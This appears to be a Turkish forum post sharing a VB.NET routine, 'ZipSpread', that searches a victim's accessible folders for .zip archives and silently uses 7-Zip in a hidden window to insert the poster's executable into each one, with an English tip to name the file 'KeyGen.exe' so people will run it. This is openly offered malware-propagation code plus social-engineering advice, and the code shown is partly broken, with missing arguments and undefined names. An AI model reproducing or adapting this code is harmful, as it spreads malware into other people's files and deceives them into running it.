S. a hocalar ihtiyacı olanlara doya doya smürmeler. Smürdükçe beni hatırlayın. Public Sub ZipSpread ' 7Zip AutoSpread ' Written by Vorfin ' Vorfin@GoogleMail. Com ' Usage - ZipSpread ' Credit Me If Used. > Do Not Remove This Part. ' 27/05/2010 Dim Dir As String Dim File As String Dim ZipPath As Object Dim ProgramFiles As String = _ System. Environment. GetFolderPath _ Dim Lst As New ListBox Try For Each Dir In Directory. GetDirectories For Each File In Directory. GetFiles Lst. Items. Add Next ZipSpread Next Catch excpt As System. Exception End Try For Each ZipPath In Lst. Items Dim p As New ProcessStartInfo p. FileName = ProgramFiles & "\7-Zipz\7z. exe" p. Arguments = " a " & ZipPath. ToString & " " & YourFile p. WindowStyle = ProcessWindowStyle. Hidden Process. Start Next End Sub meraklısına ing. açıklaması:Buggy but works. Looks for all. Zip files in assessable directories, then tries to use 7Zip To add your file to the. Zip archive. I advise you call your. exe something people will want to open, like "KeyGen. exe". Easy to make it work for WinRar as well, just edit the command line arguments to w/e WinRar uses.